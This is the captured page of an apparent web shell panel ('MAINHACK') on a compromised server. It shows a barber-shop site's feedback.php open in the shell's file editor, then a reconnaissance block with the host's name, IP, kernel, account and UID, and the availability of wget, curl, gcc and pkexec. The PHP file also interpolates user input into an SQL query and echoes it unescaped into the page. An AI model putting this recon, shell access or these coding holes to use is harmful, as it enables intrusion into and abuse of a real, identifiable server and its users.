[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: feedback.php
<?php use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; require '../auth/PHPMailer/src/Exception.php'; require '../auth/PHPMailer/src/PHPMailer.php'; include "connect.php"; ?> <?php if(isset($_GET['shopname'])){ $getshopname = mysqli_real_escape_string($new,$_GET['shopname']); $account_type = 'Owner'; $stmt = $con->prepare("SELECT * FROM barber_admin WHERE business_name = ? AND account_type = ?"); $stmt->execute(array($getshopname,$account_type)); $rows_categories = $stmt->fetchAll(); foreach($rows_categories as $records){ $phone = $records['phone']; $location = $records['location']; $open_clode_time = $records['open_clode_time']; $email = $records['email']; $description = $records['description']; } } $response = ""; if(isset($_POST['submitt'])){ $name = filter_input(INPUT_POST, 'name', FILTER_SANITIZE_STRING); $name = htmlspecialchars($name, ENT_QUOTES, 'UTF-8'); $phone = filter_input(INPUT_POST, 'phone', FILTER_SANITIZE_STRING); $phone = htmlspecialchars($phone, ENT_QUOTES, 'UTF-8'); $rating = filter_input(INPUT_POST, 'rating', FILTER_SANITIZE_STRING); $rating = htmlspecialchars($rating, ENT_QUOTES, 'UTF-8'); $message = filter_input(INPUT_POST, 'message', FILTER_SANITIZE_STRING); $message = htmlspecialchars($message, ENT_QUOTES, 'UTF-8'); $subject = "Feedback"; $mail_body = "Client name : $name <br> Client phone numner : $phone <br /> Client Rating : $rating <br /> Message : $message"; //$mail23 = "benmoshe15@gmail.com"; $mail = new PHPMailer(); $mail->addAddress($email); $mail->setFrom('noreply@thesalonfriend.com','Client Feedback'); $mail->Subject = $subject; $mail->isHTML(true); $mail->CharSet= 'UTF-8'; $mail->Body = $mail_body; if($mail->send()){ $response = "<h4 style='color:green'>Thank you for your feedback,we really value your concern</h4>"; }else{ //echo 'Message could not be sent. Mailer Error: ', $mail->ErrorInfo; } } if(!empty($getshopname)){ ?> <?php include "Includes/templates/header.php"; include "Includes/templates/navbar.php"; ?> <section class="contact-section" id="contact-us"> <div class="container"> <div class="row"> <div class="col-lg-6 sm-padding"> <div class="contact-info"> <h2> <br> <?php echo $getshopname;?> </h2> <p> Your feedback is really important to us,kindly fill the to give us your feedback on the product and service </p> </div> </div> <div class="col-lg-6 sm-padding"> <form method="POST"> <div class="contact-form"> <div class="contactForm"> <div class="form-group colum-row row"> <div class="col-sm-6"> <input type="text" name="name" class="form-control" placeholder="Name" required> </div> <div class="col-sm-6"> <input type="tel" name="phone" class="form-control" placeholder="Phone number" required> </div> </div> <div class="form-group row"> <div class="col-md-12"> <input type="text" min="0" max="10" name="rating" class="form-control" placeholder="Please rate our service from 0 to 10" required> </div> </div> <div class="form-group row"> <div class="col-md-12"> <textarea name="message" cols="30" rows="5" class="form-control message" placeholder="Message"></textarea> </div> </div> <div class="form-group row"> <div class="col-md-12"> <button type="submit" name="submitt" class="btn btn-success">Send feedback</button> </div> </div> <!-- <img src="Design/images/ajax_loader_gif.gif" id = "contact_ajax_loader" style="display: none"> --> <div><?php echo $response;?></div> </div> </div> </form> </div> </div> </div> </section> <!-- WIDGET SECTION / FOOTER --> <section class="widget_section"> <div class="container"> <div class="row"> <div class="col-lg-3 col-md-6"> <div class="footer_widget"> <!-- <img style="width:220px" src="Design/images/homelogo.png" alt="The Block Grooming"> --> <h3><?php echo $getshopname;?></h3> <p> Our shop is open for men and women who appreciate premium quality, time and flawless look. </p> <ul class="widget_social"> <li><a href="#" data-toggle="tooltip" title="Facebook"><i class="fab fa-facebook-f fa-2x"></i></a></li> <li><a href="#" data-toggle="tooltip" title="Instagram"><i class="fab fa-instagram fa-2x"></i></a></li> </ul> </div> </div> <div class="col-lg-3 col-md-6"> <div class="footer_widget"> <h3>Office</h3> <p> <?php echo $location;?> </p> <p> <?php echo $email;?> <br> <?php echo $phone;?> </p> </div> </div> <div class="col-lg-3 col-md-6"> <div class="footer_widget"> <h3> Opening Hours </h3> <ul class="opening_time"> <?php $newDateTime = date('h:i A', strtotime($currentDateTime)); $dateopen = mysqli_query($new,"SELECT * FROM open_close_time WHERE business_name = '$getshopname'"); while($fetch = mysqli_fetch_array($dateopen)){ ?> <li><?php echo $fetch['day'];?> : <?php echo date('h:i A', strtotime($fetch['open_time']));?> - <?php echo date('h:i A', strtotime($fetch['close_time']));?></li> <?php }?> </ul> </div> </div> <div class="col-lg-3 col-md-6"> <div class="footer_widget"> <h3>Book appointment</h3> <a href="appointment.php?shopname=<?php echo $getshopname;?>" class="default_btn"> Book Appointment</a> </div> </div> </div> </div> </section> <!-- FOOTER --> <?php include "Includes/templates/footer.php"; ?> <?php } else{?> <?php }?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.79 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002